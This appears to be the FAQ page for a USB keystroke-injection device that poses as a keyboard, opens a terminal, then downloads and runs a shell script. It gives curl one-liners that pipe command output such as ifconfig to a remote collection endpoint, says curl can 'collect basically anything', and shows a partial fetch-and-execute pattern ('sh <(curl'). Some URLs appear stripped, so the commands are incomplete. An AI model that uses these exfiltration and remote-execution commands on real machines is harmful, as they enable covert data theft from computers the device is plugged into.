Frequently Asked Questions
Rawcoon is a USB devices that presents itself to the computer as a keyboard. It sends keystrokes to open a terminal, download your script and execute it.
Because Rawcoon is basically a keyboard, the keystrokes it sends are transformed by the operating system into different characters depending on the keyboard layout. To work around this Rawcoon uses only a set of keys that are "generic" (same keycodes for characters) across many layouts.
Your script can use curl to make HTTP calls. Just call{DEVICE_KEY}/{SOME_STRING} and SOME_STRING will appear as a new asset in your account. Just be careful to URL-encode your strings if you pass them as URL parameters! To make things easier, you can also pass in the asset data as a classic form:
curl -F "str=$some_string"$DKEY
Curl is a very powerful tool - you can use it to collect basically anything you want. Want to get the output of a command?
ifconfig | curl -F 'str=<-'$DKEY
Just before the Rawcoon runs your script, it exports the DKEY environment variable. This means you can simply reference $DKEY whenever you need it. The asset-collection examples presented here make use of this, so you can check them to see exactly how to apply this.
Of course! In your management portal (or the app), simply write this as your Rawcoon script:
sh <(curl
The scripting language is pure Bourne shell (sh script). This means you will easily find examples all over the internet, but you can also follow us on Instagram to get some ideas! We post cool things to do as well as interesting ideas from the community.
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